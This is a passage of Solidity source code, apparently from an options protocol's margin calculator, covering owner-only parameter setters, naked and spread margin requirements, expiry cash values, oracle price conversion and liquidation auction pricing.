* @param _timesToExpiry array of times to expiry timestamp
* @param _values upper bound values array
*/
function setUpperBoundValues(
address _underlying,
address _strike,
address _collateral,
bool _isPut,
uint256[] calldata _timesToExpiry,
uint256[] calldata _values
) external onlyOwner {
require(_timesToExpiry.length > 0, "MarginCalculator: invalid times to expiry array");
require(_timesToExpiry.length == _values.length, "MarginCalculator: invalid values array");
// get product hash
bytes32 productHash = _getProductHash(_underlying, _strike, _collateral, _isPut);
uint256[] storage expiryArray = timesToExpiryForProduct[productHash];
// check that this is the first expiry to set
// if not, the last expiry should be less than the new one to insert (to make sure the array stay in order)
require(
(expiryArray.length == 0) || (_timesToExpiry[0] > expiryArray[expiryArray.length.sub(1)]),
"MarginCalculator: expiry array is not in order"
);
for (uint256 i = 0; i < _timesToExpiry.length; i++) {
// check that new times array is in order
if (i.add(1) < _timesToExpiry.length) {
require(_timesToExpiry[i] < _timesToExpiry[i.add(1)], "MarginCalculator: time should be in order");
}
require(_values[i] > 0, "MarginCalculator: no expiry upper bound value found");
// add new upper bound value for this product at specific time to expiry
maxPriceAtTimeToExpiry[productHash][_timesToExpiry[i]] = _values[i];
// add new time to expiry to array
expiryArray.push(_timesToExpiry[i]);
emit TimeToExpiryAdded(productHash, _timesToExpiry[i]);
emit MaxPriceAdded(productHash, _timesToExpiry[i], _values[i]);
}
}
/**
* @notice set option upper bound value for specific time to expiry (1e27)
* @dev can only be called by owner
* @param _underlying otoken underlying asset
* @param _strike otoken strike asset
* @param _collateral otoken collateral asset
* @param _isPut otoken type
* @param _timeToExpiry option time to expiry timestamp
* @param _value upper bound value
*/
function updateUpperBoundValue(
address _underlying,
address _strike,
address _collateral,
bool _isPut,
uint256 _timeToExpiry,
uint256 _value
) external onlyOwner {
require(_value > 0, "MarginCalculator: invalid option upper bound value");
bytes32 productHash = _getProductHash(_underlying, _strike, _collateral, _isPut);
uint256 oldMaxPrice = maxPriceAtTimeToExpiry[productHash][_timeToExpiry];
require(oldMaxPrice != 0, "MarginCalculator: upper bound value not found");
// update upper bound value for the time to expiry
maxPriceAtTimeToExpiry[productHash][_timeToExpiry] = _value;
emit MaxPriceUpdated(productHash, _timeToExpiry, oldMaxPrice, _value);
}
/**
* @notice set spot shock value, scaled to 1e27
* @dev can only be called by owner
* @param _underlying otoken underlying asset
* @param _strike otoken strike asset
* @param _collateral otoken collateral asset
* @param _isPut otoken type
* @param _shockValue spot shock value
*/
function setSpotShock(
address _underlying,
address _strike,
address _collateral,
bool _isPut,
uint256 _shockValue
) external onlyOwner {
require(_shockValue > 0, "MarginCalculator: invalid spot shock value");
bytes32 productHash = _getProductHash(_underlying, _strike, _collateral, _isPut);
spotShock[productHash] = _shockValue;
emit SpotShockUpdated(productHash, _shockValue);
}
/**
* @notice set oracle deviation (1e27)
* @dev can only be called by owner
* @param _deviation deviation value
*/
function setOracleDeviation(uint256 _deviation) external onlyOwner {
oracleDeviation = _deviation;
emit OracleDeviationUpdated(_deviation);
}
/**
* @notice get dust amount for collateral asset
* @param _collateral collateral asset address
* @return dust amount
*/
function getCollateralDust(address _collateral) external view returns (uint256) {
return dust[_collateral];
}
/**
* @notice get times to expiry for a specific product
* @param _underlying otoken underlying asset
* @param _strike otoken strike asset
* @param _collateral otoken collateral asset
* @param _isPut otoken type
* @return array of times to expiry
*/
function getTimesToExpiry(
address _underlying,
address _strike,
address _collateral,
bool _isPut
) external view returns (uint256[] memory) {
bytes32 productHash = _getProductHash(_underlying, _strike, _collateral, _isPut);
return timesToExpiryForProduct[productHash];
}
/**
* @notice get option upper bound value for specific time to expiry
* @param _underlying otoken underlying asset
* @param _strike otoken strike asset
* @param _collateral otoken collateral asset
* @param _isPut otoken type
* @param _timeToExpiry option time to expiry timestamp
* @return option upper bound value (1e27)
*/
function getMaxPrice(
address _underlying,
address _strike,
address _collateral,
bool _isPut,
uint256 _timeToExpiry
) external view returns (uint256) {
bytes32 productHash = _getProductHash(_underlying, _strike, _collateral, _isPut);
return maxPriceAtTimeToExpiry[productHash][_timeToExpiry];
}
/**
* @notice get spot shock value
* @param _underlying otoken underlying asset
* @param _strike otoken strike asset
* @param _collateral otoken collateral asset
* @param _isPut otoken type
* @return _shockValue spot shock value (1e27)
*/
function getSpotShock(
address _underlying,
address _strike,
address _collateral,
bool _isPut
) external view returns (uint256) {
bytes32 productHash = _getProductHash(_underlying, _strike, _collateral, _isPut);
return spotShock[productHash];
}
/**
* @notice get oracle deviation
* @return oracle deviation value (1e27)
*/
function getOracleDeviation() external view returns (uint256) {
return oracleDeviation;
}
/**
* @notice return the collateral required for naked margin vault, in collateral asset decimals
* @dev _shortAmount, _strikePrice and _underlyingPrice should be scaled by 1e8
* @param _underlying underlying asset address
* @param _strike strike asset address
* @param _collateral collateral asset address
* @param _shortAmount amount of short otoken
* @param _strikePrice otoken strike price
* @param _underlyingPrice otoken underlying price
* @param _shortExpiryTimestamp otoken expiry timestamp
* @param _collateralDecimals otoken collateral asset decimals
* @param _isPut otoken type
* @return collateral required for a naked margin vault, in collateral asset decimals
*/
function getNakedMarginRequired(
address _underlying,
address _strike,
address _collateral,
uint256 _shortAmount,
uint256 _strikePrice,
uint256 _underlyingPrice,
uint256 _shortExpiryTimestamp,
uint256 _collateralDecimals,
bool _isPut
) external view returns (uint256) {
bytes32 productHash = _getProductHash(_underlying, _strike, _collateral, _isPut);
// scale short amount from 1e8 to 1e27 (oToken is always in 1e8)
FPI.FixedPointInt memory shortAmount = FPI.fromScaledUint(_shortAmount, BASE);
// scale short strike from 1e8 to 1e27
FPI.FixedPointInt memory shortStrike = FPI.fromScaledUint(_strikePrice, BASE);
// scale short underlying price from 1e8 to 1e27
FPI.FixedPointInt memory shortUnderlyingPrice = FPI.fromScaledUint(_underlyingPrice, BASE);
// return required margin, scaled by collateral asset decimals, explicitly rounded up
return
FPI.toScaledUint(
_getNakedMarginRequired(
productHash,
shortAmount,
shortUnderlyingPrice,
shortStrike,
_shortExpiryTimestamp,
_isPut
),
_collateralDecimals,
false
);
}
/**
* @notice return the cash value of an expired oToken, denominated in collateral
* @param _otoken oToken address
* @return how much collateral can be taken out by 1 otoken unit, scaled by 1e8,
* or how much collateral can be taken out for 1 (1e8) oToken
*/
function getExpiredPayoutRate(address _otoken) external view returns (uint256) {
require(_otoken != address(0), "MarginCalculator: Invalid token address");
(
address collateral,
address underlying,
address strikeAsset,
uint256 strikePrice,
uint256 expiry,
bool isPut
) = _getOtokenDetails(_otoken);
require(now >= expiry, "MarginCalculator: Otoken not expired yet");
FPI.FixedPointInt memory cashValueInStrike = _getExpiredCashValue(
underlying,
strikeAsset,
expiry,
strikePrice,
isPut
);
FPI.FixedPointInt memory cashValueInCollateral = _convertAmountOnExpiryPrice(
cashValueInStrike,
strikeAsset,
collateral,
expiry
);
// the exchangeRate was scaled by 1e8, if 1e8 otoken can take out 1 USDC, the exchangeRate is currently 1e8
// we want to return: how much USDC units can be taken out by 1 (1e8 units) oToken
uint256 collateralDecimals = uint256(ERC20Interface(collateral).decimals());
return cashValueInCollateral.toScaledUint(collateralDecimals, true);
}
// structs to avoid stack too deep error
// struct to store shortAmount, shortStrike and shortUnderlyingPrice scaled to 1e27
struct ShortScaledDetails {
FPI.FixedPointInt shortAmount;
FPI.FixedPointInt shortStrike;
FPI.FixedPointInt shortUnderlyingPrice;
}
/**
* @notice check if a specific vault is undercollateralized at a specific chainlink round
* @dev if the vault is of type 0, the function will revert
* @param _vault vault struct
* @param _vaultType vault type (0 for max loss/spread and 1 for naked margin vault)
* @param _vaultLatestUpdate vault latest update (timestamp when latest vault state change happened)
* @param _roundId chainlink round id
* @return isLiquidatable, true if vault is undercollateralized, liquidation price and collateral dust amount
*/
function isLiquidatable(
MarginVault.Vault memory _vault,
uint256 _vaultType,
uint256 _vaultLatestUpdate,
uint256 _roundId
)
external
view
returns (
bool,
uint256,
uint256
)
{
// liquidation is only supported for naked margin vault
require(_vaultType == 1, "MarginCalculator: invalid vault type to liquidate");
VaultDetails memory vaultDetails = _getVaultDetails(_vault, _vaultType);
// can not liquidate vault that have no short position
if (!vaultDetails.hasShort) return (false, 0, 0);
require(now < vaultDetails.shortExpiryTimestamp, "MarginCalculator: can not liquidate expired position");
(uint256 price, uint256 timestamp) = oracle.getChainlinkRoundData(
vaultDetails.shortUnderlyingAsset,
uint80(_roundId)
);
// check that price timestamp is after latest timestamp the vault was updated at
require(
timestamp > _vaultLatestUpdate,
"MarginCalculator: auction timestamp should be post vault latest update"
);
// another struct to store some useful short otoken details, to avoid stack to deep error
ShortScaledDetails memory shortDetails = ShortScaledDetails({
shortAmount: FPI.fromScaledUint(_vault.shortAmounts[0], BASE),
shortStrike: FPI.fromScaledUint(vaultDetails.shortStrikePrice, BASE),
shortUnderlyingPrice: FPI.fromScaledUint(price, BASE)
});
bytes32 productHash = _getProductHash(
vaultDetails.shortUnderlyingAsset,
vaultDetails.shortStrikeAsset,
vaultDetails.shortCollateralAsset,
vaultDetails.isShortPut
);
// convert vault collateral to a fixed point (1e27) from collateral decimals
FPI.FixedPointInt memory depositedCollateral = FPI.fromScaledUint(
_vault.collateralAmounts[0],
vaultDetails.collateralDecimals
);
FPI.FixedPointInt memory collateralRequired = _getNakedMarginRequired(
productHash,
shortDetails.shortAmount,
shortDetails.shortUnderlyingPrice,
shortDetails.shortStrike,
vaultDetails.shortExpiryTimestamp,
vaultDetails.isShortPut
);
// if collateral required <= collateral in the vault, the vault is not liquidatable
if (collateralRequired.isLessThanOrEqual(depositedCollateral)) {
return (false, 0, 0);
}
FPI.FixedPointInt memory cashValue = _getCashValue(
shortDetails.shortStrike,
shortDetails.shortUnderlyingPrice,
vaultDetails.isShortPut
);
// get the amount of collateral per 1 repaid otoken
uint256 debtPrice = _getDebtPrice(
depositedCollateral,
shortDetails.shortAmount,
cashValue,
shortDetails.shortUnderlyingPrice,
timestamp,
vaultDetails.collateralDecimals,
vaultDetails.isShortPut
);
return (true, debtPrice, dust[vaultDetails.shortCollateralAsset]);
}
/**
* @notice calculate required collateral margin for a vault
* @param _vault theoretical vault that needs to be checked
* @param _vaultType vault type
* @return the vault collateral amount, and marginRequired the minimal amount of collateral needed in a vault, scaled to 1e27
*/
function getMarginRequired(MarginVault.Vault memory _vault, uint256 _vaultType)
external
view
returns (FPI.FixedPointInt memory, FPI.FixedPointInt memory)
{
VaultDetails memory vaultDetail = _getVaultDetails(_vault, _vaultType);
return _getMarginRequired(_vault, vaultDetail);
}
/**
* @notice returns the amount of collateral that can be removed from an actual or a theoretical vault
* @dev return amount is denominated in the collateral asset for the oToken in the vault, or the collateral asset in the vault
* @param _vault theoretical vault that needs to be checked
* @param _vaultType vault type (0 for spread/max loss, 1 for naked margin)
* @return excessCollateral the amount by which the margin is above or below the required amount
* @return isExcess True if there is excess margin in the vault, False if there is a deficit of margin in the vault
* if True, collateral can be taken out from the vault, if False, additional collateral needs to be added to vault
*/
function getExcessCollateral(MarginVault.Vault memory _vault, uint256 _vaultType)
public
view
returns (uint256, bool)
{
VaultDetails memory vaultDetails = _getVaultDetails(_vault, _vaultType);
// include all the checks for to ensure the vault is valid
_checkIsValidVault(_vault, vaultDetails);
// if the vault contains no oTokens, return the amount of collateral
if (!vaultDetails.hasShort && !vaultDetails.hasLong) {
uint256 amount = vaultDetails.hasCollateral ? _vault.collateralAmounts[0] : 0;
return (amount, true);
}
// get required margin, denominated in collateral, scaled in 1e27
(FPI.FixedPointInt memory collateralAmount, FPI.FixedPointInt memory collateralRequired) = _getMarginRequired(
_vault,
vaultDetails
);
FPI.FixedPointInt memory excessCollateral = collateralAmount.sub(collateralRequired);
bool isExcess = excessCollateral.isGreaterThanOrEqual(ZERO);
uint256 collateralDecimals = vaultDetails.hasLong
? vaultDetails.longCollateralDecimals
: vaultDetails.shortCollateralDecimals;
// if is excess, truncate the tailing digits in excessCollateralExternal calculation
uint256 excessCollateralExternal = excessCollateral.toScaledUint(collateralDecimals, isExcess);
return (excessCollateralExternal, isExcess);
}
/**
* @notice return the cash value of an expired oToken, denominated in strike asset
* @dev for a call, return Max (0, underlyingPriceInStrike - otoken.strikePrice)
* @dev for a put, return Max(0, otoken.strikePrice - underlyingPriceInStrike)
* @param _underlying otoken underlying asset
* @param _strike otoken strike asset
* @param _expiryTimestamp otoken expiry timestamp
* @param _strikePrice otoken strike price
* @param _strikePrice true if otoken is put otherwise false
* @return cash value of an expired otoken, denominated in the strike asset
*/
function _getExpiredCashValue(
address _underlying,
address _strike,
uint256 _expiryTimestamp,
uint256 _strikePrice,
bool _isPut
) internal view returns (FPI.FixedPointInt memory) {
// strike price is denominated in strike asset
FPI.FixedPointInt memory strikePrice = FPI.fromScaledUint(_strikePrice, BASE);
FPI.FixedPointInt memory one = FPI.fromScaledUint(1, 0);
// calculate the value of the underlying asset in terms of the strike asset
FPI.FixedPointInt memory underlyingPriceInStrike = _convertAmountOnExpiryPrice(
one, // underlying price is 1 (1e27) in term of underlying
_underlying,
_strike,
_expiryTimestamp
);
return _getCashValue(strikePrice, underlyingPriceInStrike, _isPut);
}
/// @dev added this struct to avoid stack-too-deep error
struct OtokenDetails {
address otokenUnderlyingAsset;
address otokenCollateralAsset;
address otokenStrikeAsset;
uint256 otokenExpiry;
bool isPut;
}
/**
* @notice calculate the amount of collateral needed for a vault
* @dev vault passed in has already passed the checkIsValidVault function
* @param _vault theoretical vault that needs to be checked
* @return the vault collateral amount, and marginRequired the minimal amount of collateral needed in a vault,
* scaled to 1e27
*/
function _getMarginRequired(MarginVault.Vault memory _vault, VaultDetails memory _vaultDetails)
internal
view
returns (FPI.FixedPointInt memory, FPI.FixedPointInt memory)
{
FPI.FixedPointInt memory shortAmount = _vaultDetails.hasShort
? FPI.fromScaledUint(_vault.shortAmounts[0], BASE)
: ZERO;
FPI.FixedPointInt memory longAmount = _vaultDetails.hasLong
? FPI.fromScaledUint(_vault.longAmounts[0], BASE)
: ZERO;
FPI.FixedPointInt memory collateralAmount = _vaultDetails.hasCollateral
? FPI.fromScaledUint(_vault.collateralAmounts[0], _vaultDetails.collateralDecimals)
: ZERO;
FPI.FixedPointInt memory shortStrike = _vaultDetails.hasShort
? FPI.fromScaledUint(_vaultDetails.shortStrikePrice, BASE)
: ZERO;
// struct to avoid stack too deep error
OtokenDetails memory otokenDetails = OtokenDetails(
_vaultDetails.hasShort ? _vaultDetails.shortUnderlyingAsset : _vaultDetails.longUnderlyingAsset,
_vaultDetails.hasShort ? _vaultDetails.shortCollateralAsset : _vaultDetails.longCollateralAsset,
_vaultDetails.hasShort ? _vaultDetails.shortStrikeAsset : _vaultDetails.longStrikeAsset,
_vaultDetails.hasShort ? _vaultDetails.shortExpiryTimestamp : _vaultDetails.longExpiryTimestamp,
_vaultDetails.hasShort ? _vaultDetails.isShortPut : _vaultDetails.isLongPut
);
if (now < otokenDetails.otokenExpiry) {
// it's not expired, return amount of margin required based on vault type
if (_vaultDetails.vaultType == 1) {
// this is a naked margin vault
// fetch dust amount for otoken collateral asset as FixedPointInt, assuming dust is already scaled by collateral decimals
FPI.FixedPointInt memory dustAmount = FPI.fromScaledUint(
dust[_vaultDetails.shortCollateralAsset],
_vaultDetails.collateralDecimals
);
// check that collateral deposited in naked margin vault is greater than dust amount for that particular collateral asset
if (collateralAmount.isGreaterThan(ZERO)) {
require(
collateralAmount.isGreaterThan(dustAmount),
"MarginCalculator: naked margin vault should have collateral amount greater than dust amount"
);
}
// get underlying asset price for short option
FPI.FixedPointInt memory shortUnderlyingPrice = FPI.fromScaledUint(
oracle.getPrice(_vaultDetails.shortUnderlyingAsset),
BASE
);
// encode product hash
bytes32 productHash = _getProductHash(
_vaultDetails.shortUnderlyingAsset,
_vaultDetails.shortStrikeAsset,
_vaultDetails.shortCollateralAsset,
_vaultDetails.isShortPut
);
// return amount of collateral in vault and needed collateral amount for margin
return (
collateralAmount,
_getNakedMarginRequired(
productHash,
shortAmount,
shortUnderlyingPrice,
shortStrike,
otokenDetails.otokenExpiry,
otokenDetails.isPut
)
);
} else {
// this is a fully collateralized vault
FPI.FixedPointInt memory longStrike = _vaultDetails.hasLong
? FPI.fromScaledUint(_vaultDetails.longStrikePrice, BASE)
: ZERO;
if (otokenDetails.isPut) {
FPI.FixedPointInt memory strikeNeeded = _getPutSpreadMarginRequired(
shortAmount,
longAmount,
shortStrike,
longStrike
);
// convert amount to be denominated in collateral
return (
collateralAmount,
_convertAmountOnLivePrice(
strikeNeeded,
otokenDetails.otokenStrikeAsset,
otokenDetails.otokenCollateralAsset
)
);
} else {
FPI.FixedPointInt memory underlyingNeeded = _getCallSpreadMarginRequired(
shortAmount,
longAmount,
shortStrike,
longStrike
);
// convert amount to be denominated in collateral
return (
collateralAmount,
_convertAmountOnLivePrice(
underlyingNeeded,
otokenDetails.otokenUnderlyingAsset,
otokenDetails.otokenCollateralAsset
)
);
}
}
} else {
// the vault has expired. calculate the cash value of all the minted short options
FPI.FixedPointInt memory shortCashValue = _vaultDetails.hasShort
? _getExpiredCashValue(
_vaultDetails.shortUnderlyingAsset,
_vaultDetails.shortStrikeAsset,
_vaultDetails.shortExpiryTimestamp,
_vaultDetails.shortStrikePrice,
otokenDetails.isPut
)
: ZERO;
FPI.FixedPointInt memory longCashValue = _vaultDetails.hasLong
? _getExpiredCashValue(
_vaultDetails.longUnderlyingAsset,
_vaultDetails.longStrikeAsset,
_vaultDetails.longExpiryTimestamp,
_vaultDetails.longStrikePrice,
otokenDetails.isPut
)
: ZERO;
FPI.FixedPointInt memory valueInStrike = _getExpiredSpreadCashValue(
shortAmount,
longAmount,
shortCashValue,
longCashValue
);
// convert amount to be denominated in collateral
return (
collateralAmount,
_convertAmountOnExpiryPrice(
valueInStrike,
otokenDetails.otokenStrikeAsset,
otokenDetails.otokenCollateralAsset,
otokenDetails.otokenExpiry
)
);
}
}
/**
* @notice get required collateral for naked margin position
* if put:
* a = min(strike price, spot shock * underlying price)
* b = max(strike price - spot shock * underlying price, 0)
* marginRequired = ( option upper bound value * a + b) * short amount
* if call:
* a = min(1, strike price / (underlying price / spot shock value))
* b = max(1- (strike price / (underlying price / spot shock value)), 0)
* marginRequired = (option upper bound value * a + b) * short amount
* @param _productHash product hash
* @param _shortAmount short amount in vault, in FixedPointInt type
* @param _strikePrice strike price of short otoken, in FixedPointInt type
* @param _underlyingPrice underlying price of short otoken underlying asset, in FixedPointInt type
* @param _shortExpiryTimestamp short otoken expiry timestamp
* @param _isPut otoken type, true if put option, false for call option
* @return required margin for this naked vault, in FixedPointInt type (scaled by 1e27)
*/
function _getNakedMarginRequired(
bytes32 _productHash,
FPI.FixedPointInt memory _shortAmount,
FPI.FixedPointInt memory _underlyingPrice,
FPI.FixedPointInt memory _strikePrice,
uint256 _shortExpiryTimestamp,
bool _isPut
) internal view returns (FPI.FixedPointInt memory) {
// find option upper bound value
FPI.FixedPointInt memory optionUpperBoundValue = _findUpperBoundValue(_productHash, _shortExpiryTimestamp);
// convert spot shock value of this product to FixedPointInt (already scaled by 1e27)
FPI.FixedPointInt memory spotShockValue = FPI.FixedPointInt(int256(spotShock[_productHash]));
FPI.FixedPointInt memory a;
FPI.FixedPointInt memory b;
FPI.FixedPointInt memory marginRequired;
if (_isPut) {
a = FPI.min(_strikePrice, spotShockValue.mul(_underlyingPrice));
b = FPI.max(_strikePrice.sub(spotShockValue.mul(_underlyingPrice)), ZERO);
marginRequired = optionUpperBoundValue.mul(a).add(b).mul(_shortAmount);
} else {
FPI.FixedPointInt memory one = FPI.fromScaledUint(1e27, SCALING_FACTOR);
a = FPI.min(one, _strikePrice.mul(spotShockValue).div(_underlyingPrice));
b = FPI.max(one.sub(_strikePrice.mul(spotShockValue).div(_underlyingPrice)), ZERO);
marginRequired = optionUpperBoundValue.mul(a).add(b).mul(_shortAmount);
}
return marginRequired;
}
/**
* @notice find upper bound value for product by specific expiry timestamp
* @dev should return the upper bound value that correspond to option time to expiry, of if not found should return the next greater one, revert if no value found
* @param _productHash product hash
* @param _expiryTimestamp expiry timestamp
* @return option upper bound value
*/
function _findUpperBoundValue(bytes32 _productHash, uint256 _expiryTimestamp)
internal
view
returns (FPI.FixedPointInt memory)
{
// get time to expiry array of this product hash
uint256[] memory timesToExpiry = timesToExpiryForProduct[_productHash];
// check that this product have upper bound values stored
require(timesToExpiry.length != 0, "MarginCalculator: product have no expiry values");
uint256 optionTimeToExpiry = _expiryTimestamp.sub(now);
// check that the option time to expiry is in the expiry array
require(
timesToExpiry[timesToExpiry.length.sub(1)] >= optionTimeToExpiry,
"MarginCalculator: product have no upper bound value"
);
// loop through the array and return the upper bound value in FixedPointInt type (already scaled by 1e27)
for (uint8 i = 0; i < timesToExpiry.length; i++) {
if (timesToExpiry[i] >= optionTimeToExpiry)
return FPI.fromScaledUint(maxPriceAtTimeToExpiry[_productHash][timesToExpiry[i]], SCALING_FACTOR);
}
}
/**
* @dev returns the strike asset amount of margin required for a put or put spread with the given short oTokens, long oTokens and amounts
*
* marginRequired = max( (short amount * short strike) - (long strike * min (short amount, long amount)) , 0 )
*
* @return margin requirement denominated in the strike asset
*/
function _getPutSpreadMarginRequired(
FPI.FixedPointInt memory _shortAmount,
FPI.FixedPointInt memory _longAmount,
FPI.FixedPointInt memory _shortStrike,
FPI.FixedPointInt memory _longStrike
) internal view returns (FPI.FixedPointInt memory) {
return FPI.max(_shortAmount.mul(_shortStrike).sub(_longStrike.mul(FPI.min(_shortAmount, _longAmount))), ZERO);
}
/**
* @dev returns the underlying asset amount required for a call or call spread with the given short oTokens, long oTokens, and amounts
*
* (long strike - short strike) * short amount
* marginRequired = max( ------------------------------------------------- , max (short amount - long amount, 0) )
* long strike
*
* @dev if long strike = 0, return max( short amount - long amount, 0)
* @return margin requirement denominated in the underlying asset
*/
function _getCallSpreadMarginRequired(
FPI.FixedPointInt memory _shortAmount,
FPI.FixedPointInt memory _longAmount,
FPI.FixedPointInt memory _shortStrike,
FPI.FixedPointInt memory _longStrike
) internal view returns (FPI.FixedPointInt memory) {
// max (short amount - long amount , 0)
if (_longStrike.isEqual(ZERO)) {
return FPI.max(_shortAmount.sub(_longAmount), ZERO);
}
/**
* (long strike - short strike) * short amount
* calculate ----------------------------------------------
* long strike
*/
FPI.FixedPointInt memory firstPart = _longStrike.sub(_shortStrike).mul(_shortAmount).div(_longStrike);
/**
* calculate max ( short amount - long amount , 0)
*/
FPI.FixedPointInt memory secondPart = FPI.max(_shortAmount.sub(_longAmount), ZERO);
return FPI.max(firstPart, secondPart);
}
/**
* @notice convert an amount in asset A to equivalent amount of asset B, based on a live price
* @dev function includes the amount and applies .mul() first to increase the accuracy
* @param _amount amount in asset A
* @param _assetA asset A
* @param _assetB asset B
* @return _amount in asset B
*/
function _convertAmountOnLivePrice(
FPI.FixedPointInt memory _amount,
address _assetA,
address _assetB
) internal view returns (FPI.FixedPointInt memory) {
if (_assetA == _assetB) {
return _amount;
}
uint256 priceA = oracle.getPrice(_assetA);
uint256 priceB = oracle.getPrice(_assetB);
// amount A * price A in USD = amount B * price B in USD
// amount B = amount A * price A / price B
return _amount.mul(FPI.fromScaledUint(priceA, BASE)).div(FPI.fromScaledUint(priceB, BASE));
}
/**
* @notice convert an amount in asset A to equivalent amount of asset B, based on an expiry price
* @dev function includes the amount and apply .mul() first to increase the accuracy
* @param _amount amount in asset A
* @param _assetA asset A
* @param _assetB asset B
* @return _amount in asset B
*/
function _convertAmountOnExpiryPrice(
FPI.FixedPointInt memory _amount,
address _assetA,
address _assetB,
uint256 _expiry
) internal view returns (FPI.FixedPointInt memory) {
if (_assetA == _assetB) {
return _amount;
}
(uint256 priceA, bool priceAFinalized) = oracle.getExpiryPrice(_assetA, _expiry);
(uint256 priceB, bool priceBFinalized) = oracle.getExpiryPrice(_assetB, _expiry);
require(priceAFinalized && priceBFinalized, "MarginCalculator: price at expiry not finalized yet");
// amount A * price A in USD = amount B * price B in USD
// amount B = amount A * price A / price B
return _amount.mul(FPI.fromScaledUint(priceA, BASE)).div(FPI.fromScaledUint(priceB, BASE));
}
/**
* @notice return debt price, how much collateral asset per 1 otoken repaid in collateral decimal
* ending price = vault collateral / vault debt
* if auction ended, return ending price
* else calculate starting price
* for put option:
* starting price = max(cash value - underlying price * oracle deviation, 0)
* for call option:
* max(cash value - underlying price * oracle deviation, 0)
* starting price = ---------------------------------------------------------------
* underlying price
*
*
* starting price + (ending price - starting price) * auction elapsed time
* then price = --------------------------------------------------------------------------
* auction time
*
*
* @param _vaultCollateral vault collateral amount
* @param _vaultDebt vault short amount
* @param _cashValue option cash value
* @param _spotPrice option underlying asset price (in USDC)
* @param _auctionStartingTime auction starting timestamp (_spotPrice timestamp from chainlink)
* @param _collateralDecimals collateral asset decimals
* @param _isPut otoken type, true for put, false for call option
* @return price of 1 debt otoken in collateral asset scaled by collateral decimals
*/
function _getDebtPrice(
FPI.FixedPointInt memory _vaultCollateral,
FPI.FixedPointInt memory _vaultDebt,
FPI.FixedPointInt memory _cashValue,
FPI.FixedPointInt memory _spotPrice,
uint256 _auctionStartingTime,
uint256 _collateralDecimals,
bool _isPut
) internal view returns (uint256) {
// price of 1 repaid otoken in collateral asset, scaled to 1e27
FPI.FixedPointInt memory price;
// auction ending price
FPI.FixedPointInt memory endingPrice = _vaultCollateral.div(_vaultDebt);
// auction elapsed time
uint256 auctionElapsedTime = now.sub(_auctionStartingTime);
// if auction ended, return ending price
if (auctionElapsedTime >= AUCTION_TIME) {
price = endingPrice;
} else {
// starting price
FPI.FixedPointInt memory startingPrice;
{
// store oracle deviation in a FixedPointInt (already scaled by 1e27)
FPI.FixedPointInt memory fixedOracleDeviation = FPI.fromScaledUint(oracleDeviation, SCALING_FACTOR);
if (_isPut) {
startingPrice = FPI.max(_cashValue.sub(fixedOracleDeviation.mul(_spotPrice)), ZERO);
} else {
startingPrice = FPI.max(_cashValue.sub(fixedOracleDeviation.mul(_spotPrice)), ZERO).div(_spotPrice);
}
}
// store auctionElapsedTime in a FixedPointInt scaled by 1e27
FPI.FixedPointInt memory auctionElapsedTimeFixedPoint = FPI.fromScaledUint(auctionElapsedTime, 18);
// store AUCTION_TIME in a FixedPointInt (already scaled by 1e27)
FPI.FixedPointInt memory auctionTime = FPI.fromScaledUint(AUCTION_TIME, 18);
// calculate price of 1 repaid otoken, scaled by the collateral decimals, expilictly rounded down
price = startingPrice.add(
(endingPrice.sub(startingPrice)).mul(auctionElapsedTimeFixedPoint).div(auctionTime)
);
// cap liquidation price to ending price
if (price.isGreaterThan(endingPrice)) price = endingPrice;
}
return price.toScaledUint(_collateralDecimals, true);
}
/**
* @notice get vault details to save us from making multiple external calls
* @param _vault vault struct
* @param _vaultType vault type, 0 for max loss/spreads and 1 for naked margin vault
* @return vault details in VaultDetails struct
*/
function _getVaultDetails(MarginVault.Vault memory _vault, uint256 _vaultType)
internal
view
returns (VaultDetails memory)
{
VaultDetails memory vaultDetails = VaultDetails(
address(0),
address(0),
address(0),
address(0),
address(0),
address(0),
0,
0,
0,
0,
0,
0,
0,
0,
false,
false,
false,
false,
false
);
// check if vault has long, short otoken and collateral asset
vaultDetails.hasLong = _isNotEmpty(_vault.longOtokens);
vaultDetails.hasShort = _isNotEmpty(_vault.shortOtokens);
vaultDetails.hasCollateral = _isNotEmpty(_vault.collateralAssets);
vaultDetails.vaultType = _vaultType;
// get vault long otoken if available
if (vaultDetails.hasLong) {
OtokenInterface long = OtokenInterface(_vault.longOtokens[0]);
(
vaultDetails.longCollateralAsset,
vaultDetails.longUnderlyingAsset,
vaultDetails.longStrikeAsset,
vaultDetails.longStrikePrice,
vaultDetails.longExpiryTimestamp,
vaultDetails.isLongPut
) = _getOtokenDetails(address(long));
vaultDetails.longCollateralDecimals = uint256(ERC20Interface(vaultDetails.longCollateralAsset).decimals());
}
// get vault short otoken if available
if (vaultDetails.hasShort) {
OtokenInterface short = OtokenInterface(_vault.shortOtokens[0]);
(
vaultDetails.shortCollateralAsset,
vaultDetails.shortUnderlyingAsset,
vaultDetails.shortStrikeAsset,
vaultDetails.shortStrikePrice,
vaultDetails.shortExpiryTimestamp,
vaultDetails.isShortPut
) = _getOtokenDetails(address(short));
vaultDetails.shortCollateralDecimals = uint256(
ERC20Interface(vaultDetails.shortCollateralAsset).decimals()
);
}
if (vaultDetails.hasCollateral) {
vaultDetails.collateralDecimals = uint256(ERC20Interface(_vault.collateralAssets[0]).decimals());
}
return vaultDetails;
}
/**
* @dev calculate the cash value obligation for an expired vault, where a positive number is an obligation
*
* Formula: net = (short cash value * short amount) - ( long cash value * long Amount )
*
* @return cash value obligation denominated in the strike asset
*/
function _getExpiredSpreadCashValue(
FPI.FixedPointInt memory _shortAmount,
FPI.FixedPointInt memory _longAmount,
FPI.FixedPointInt memory _shortCashValue,
FPI.FixedPointInt memory _longCashValue
) internal pure returns (FPI.FixedPointInt memory) {
return _shortCashValue.mul(_shortAmount).sub(_longCashValue.mul(_longAmount));
}
/**
* @dev check if asset array contain a token address
* @return True if the array is not empty
*/
function _isNotEmpty(address[] memory _assets) internal pure returns (bool) {
return _assets.length > 0 && _assets[0] != address(0);
}
/**
* @dev ensure that:
* a) at most 1 asset type used as collateral
* b) at most 1 series of option used as the long option
* c) at most 1 series of option used as the short option
* d) asset array lengths match for long, short and collateral
* e) long option and collateral asset is acceptable for margin with short asset
* @param _vault the vault to check
* @param _vaultDetails vault details struct
*/
function _checkIsValidVault(MarginVault.Vault memory _vault, VaultDetails memory _vaultDetails) internal pure {
// ensure all the arrays in the vault are valid
require(_vault.shortOtokens.length <= 1, "MarginCalculator: Too many short otokens in the vault");
require(_vault.longOtokens.length <= 1, "MarginCalculator: Too many long otokens in the vault");
require(_vault.collateralAssets.length <= 1, "MarginCalculator: Too many collateral assets in the vault");
require(
